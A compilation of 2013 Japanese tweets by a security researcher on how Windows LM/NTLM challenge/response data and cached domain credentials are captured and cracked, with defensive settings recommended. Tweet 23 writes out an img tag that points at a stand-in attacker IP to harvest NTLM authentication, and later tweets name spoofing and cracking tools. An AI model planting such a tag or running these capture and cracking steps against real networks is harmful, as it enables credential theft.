@kitagawa_takujiさんによるWindowsアカウントのパスワード解読に関するまとめ

@kitagawa_takujiさんによるWindows認証のハッシュ値からパスワードを解読する方法に関するまとめ。利用者全員に長いパスワード(13文字あるいは15文字以上)を強制できない、かつLAN内に悪意のユーザがいるかマルウェアに感染した端末がある場合は、パスワードの定期的変更が緩和策として有効な可能性がある。
27
北河拓士🔰 @kitagawa_takuji

1)前に何度も書いているが、Windowsアカウントについては、LAN内のLM/NTLM認証のチャレンジ/レスポンスを簡単に取得できる手法がいくつもあるので/etc/passwdにパスワードハッシュが格納されていて誰でも見れる状態と同じと考えたほうが良い

2013-09-07 17:03:37
北河拓士🔰 @kitagawa_takuji

2)LM/NTLM認証のチャレンジ/レスポンスは、ADやSAMに保存されるLMハッシュ、NTLMハッシュとは別物、John the RipperではNETLM, NETLMv2, NETNTLM, NETNTLMv2と呼ばれる

2013-09-07 17:03:54
北河拓士🔰 @kitagawa_takuji

3)特にLM認証は危険、LMには前半後半7文字ずつのチャンクへの分割、大小英字を区別しないという問題があるので14文字以下ならどんなに複雑なパスワードでも1日以内に解析可能

2013-09-07 17:04:08
北河拓士🔰 @kitagawa_takuji

4)Vista以降ではLmCompatibilityLevel「3:NTLMv2応答のみ送信」が既定になっているが、XPでは「0.LMとNTLM応答を送信」が既定。LMハッシュを保存しないようにしていてもLmCompatibilityLevelが0か1だとLM応答を送信してしまう

2013-09-07 17:04:27
北河拓士🔰 @kitagawa_takuji

5)但し、LmCompatibilityLevelが0か1でも15文字以上のパスワードにすればLM応答は送信されない(無効な値が送られる)

2013-09-07 17:04:44
北河拓士🔰 @kitagawa_takuji

6)よって、パスワードの定期変更よりもLmCompatibilityLevelの方が重要。XPでは規定値から2又は3に変更。Vista以降で、NTLMv2に対応していない古いNASとの互換性のために変更する場合も、決して0や1にしてはならない

2013-09-07 17:04:59
北河拓士🔰 @kitagawa_takuji

7)oclhashcat-plus http://t.co/9ATYGvbKUR などのGPUを使用したパスワード解析ツールもNetNTLMv2に対応してきているので、「NTLMv2応答のみ送信」の場合でも決して安心ではなく、十分に複雑なパスワードにする必要がある

2013-09-07 17:05:14
北河拓士🔰 @kitagawa_takuji

8)Webサービスの認証の場合、ストレッチ回数を増やすなどして計算量を増やすことができるが、LM/NTLM認証では計算量は固定で変更出来ない。しかも10数年前の設計で現在のようにGPUを使用したクラックなど考慮されていない

2013-09-07 17:05:29
北河拓士🔰 @kitagawa_takuji

9)「NTLMv2応答のみ送信」の場合、何文字以上なら安心かは難しいが、自分なら英数字記号混在で13文字以上、ハギーアタック(ショルダーハッキングとオフラインクラックの組み合わせ)を考慮すると15文字以上にするかな?

2013-09-07 17:05:45
北河拓士🔰 @kitagawa_takuji

10)さすがに全ユーザにそこまでのポリシーを強要するのは難しいという場合、有効期限を設けて定期変更させるのも低減策の1つにはなると思う。もっともLAN上の人は全て信用出来るという前提があれば、そこまでは必要ないかもしれないが、既にLAN上のPCが乗っ取られている可能性もある

2013-09-07 17:06:06
北河拓士🔰 @kitagawa_takuji

11)もう1つ加えると、DCC(Domain Cached Credentials)の問題、ドメイン下のWindowsではログオン時にドメイン・コントローラに接続出来ない場合でもログオン出来るように以前のログオン情報がローカルにキャッシュされている(既定で過去10ユーザを記録)

2013-09-07 17:06:28
北河拓士🔰 @kitagawa_takuji

12)レジストリよりDCCを取り出すツールはcachedump、MetasploitのPostモジュール等色々あり、取り出したハッシュはJohn-the-Ripper、CainやGPU対応のoclhashcat-plus等で解析できる

2013-09-07 17:06:48
北河拓士🔰 @kitagawa_takuji

13)DCCのアルゴリズムはNTLMハッシュを改良したもの。Vista以降では更にアルゴリズムが強化されているが解析ツールはどちらにも対応している。NTLMハッシュと同一ではないのでPass-the-Hashは出来ない

2013-09-07 17:07:08
北河拓士🔰 @kitagawa_takuji

14)PCの初期セットアップ時の動作確認で情シス部員がドメイン管理者でログインしたり、システム管理者やヘルプデスクなどがリモートデスクトップでドメイン管理者でログインして作業するとDCCが記録される

2013-09-07 17:07:24
北河拓士🔰 @kitagawa_takuji

15)DCCは既定で過去10ユーザが記録されるので(10回のログインではない)、数年前の管理者ログオンがキャッシュに残っている可能性がある。但し、PsExec、WMICなどのネットワークログオンではDCCは記録されないので、運用管理にはPsExec、WMICを使うのも一案

2013-09-07 17:07:38
北河拓士🔰 @kitagawa_takuji

16)標的型攻撃などでWindows端末が乗っ取られると、DCCを取得してドメイン管理者のパスワードを解析するのは攻撃者の常套手段。DCCを記録しないように設定することもできるが、ドメイン障害時やノートPCをオフラインで使用する時にログオン出来なくなる

2013-09-07 17:07:58
北河拓士🔰 @kitagawa_takuji

17)よって、ドメイン管理者などの管理者パスワードは、例えハッシュを取得されても簡単には解析されないよう。十分長く複雑なものにする必要がある

2013-09-07 17:08:10
北河拓士🔰 @kitagawa_takuji

18)Windowsの認証関係は、このようにかなり脆弱な状態だが、過去との互換性の問題もありバッサリ切り捨てるわけにもいかないだろう。問題を認識しつつ、付き合っていくことが必要

2013-09-07 17:08:35
北河拓士🔰 @kitagawa_takuji

19)昨日のWindowsアカウントのパスワード解析に関する話 http://t.co/T68cNbnUx6 の補足で、LAN内のLM/NTLM認証のチャレンジ/レスポンスを取得する方法について書いてみたい

2013-09-08 11:46:32
北河拓士🔰 @kitagawa_takuji

20)Windowsではファイル共有などネットワーク上のリソースにアクセスする場合、自動的にログオンしているユーザでの認証要求を送出してしまう。認証はチャレンジ/レスポンス方式で行われ、その両方をキャプチャすることでパスワードの解析が出来る

2013-09-08 11:46:51
北河拓士🔰 @kitagawa_takuji

21)自動送信された認証が失敗するとダイアログが出るので、ダイアログにID・パスワードを入力し送信した時に初めて認証要求が送出されると錯覚してしまいがちだが、最初にアクセスした段階で既に自動送出されてしまっているのである

2013-09-08 11:47:18
北河拓士🔰 @kitagawa_takuji

22)よって、攻撃者が自分がコントロールできるPC上でファイル共有を作成し、「資料を公開しました」などの通知を行えば、後はアクセスしてきた認証要求のチャレンジ/レスポンスをキャプチャし、解析するだけ

2013-09-08 11:47:39
北河拓士🔰 @kitagawa_takuji

23)また、社内Webなどに<img src=file://\\攻撃者のIP\image.gif>というタグを含んだページを作成したり、そのようなタグを埋め込んだWord文書などを作成し添付ファイルで送信したりすれば、認証要求が自動的に飛んでくる

2013-09-08 11:48:15
北河拓士🔰 @kitagawa_takuji

24)ファイル共有だけでなく、NTLM認証を有効にしたWebサーバをイントラネットゾーンに立て、誘導すればブラウザが認証情報を自動送信する(IEの場合)

2013-09-08 11:48:37
北河拓士🔰 @kitagawa_takuji

25)その他、NetBIOSの名前要求に対し攻撃者のIPにスプーフィングしたレスポンスを返す、ARP PoisoningによるLayer2でのキャプチャなど、様々な手法があり、それぞれの手法に対し様々なツールが提供されている

2013-09-08 11:48:57